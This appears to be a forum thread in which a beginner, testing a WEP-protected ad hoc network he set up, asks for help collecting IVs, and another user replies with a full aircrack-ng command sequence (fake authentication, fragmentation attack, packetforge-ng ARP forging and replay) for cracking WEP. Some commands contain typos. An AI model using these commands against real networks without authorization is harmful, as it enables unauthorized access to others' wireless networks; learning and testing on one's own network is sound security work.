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    Default Low IVs Number

    Hi! I'm a Newbie (with a bad English...)

    I'm trying to crack a test wi-fi network...
    I set up a wi-fi network (ad hoc) witk a 5 char wep key.

    I started BackTrack and typed this on my bash:

    airmon-ng
    airmon-ng start NIC
    airodump-nw --write capt.cap NIC and in the same time
    airplay-ng -3 -e (essid) -b mac -h mac_pc NIC

    now I have a problem because after 6 hours I have only 13000 IVs...

    Can someone help me?

    Thanks!

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    What card are you using and what chipset does it have.

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    Quote Originally Posted by balding_parrot View Post
    What card are you using and what chipset does it have.
    I'm trying with 2 NIC: the first is an Artheos (acer notebook) and the second i don't know... (sorry but now I'm not at work...)

    If you want tomorrow I will give you more info!

    Thanks

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    The actual chipset number would help too, as some of the newer atheros chipsets do not yet have a fully functioning driver available.

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    My wi-fi card is an Artheos AR5005G (wireless network adapter), but I think I have no problem with this nic...

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    Have you done an injection test yet.

    Are those the entire set of commands you used, as there is no fakeauth or no deauth of any connected clients.

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    No... those are the entire set of commands I've used...
    I'didn't use the others because the wi-fi network is not mac address based (and I can't change my mac address) ....

    The network is made only by two computer with 2 Wireless card (and another to testing the secutity...)

    In the first pc I have a shared internet connection (I'm connecting to internet by ADSL cable) and in the other pc I'm trying to surf and download on the internet (and it works...) by wi-fi network.

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    try


    airmon-ng start wifi0
    aireplay-ng -1 6000 -q 1 -o 1 -e hello -b WirelessAP -h facMac ath1
    airodump-ng -w dumpfiles -c # --bssid wirelessAP ath1
    aireplay-ng -5 -b wirelessAp -h facMac ath1
    packetforge-ng -0 -a WIrelessAP -h fakeMac-k 255.255.255.255 -l 255.255.255.255.255 -y fragment-0922-173808.xor -w arp-request
    aireplay-ng -2 -r arp-request

    this should generate enough IVs
    this gave me like 300 + per/sec

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    Smile

    A lot of thanks...

    I can't try now, but I will try on Monday!



    Have a good night

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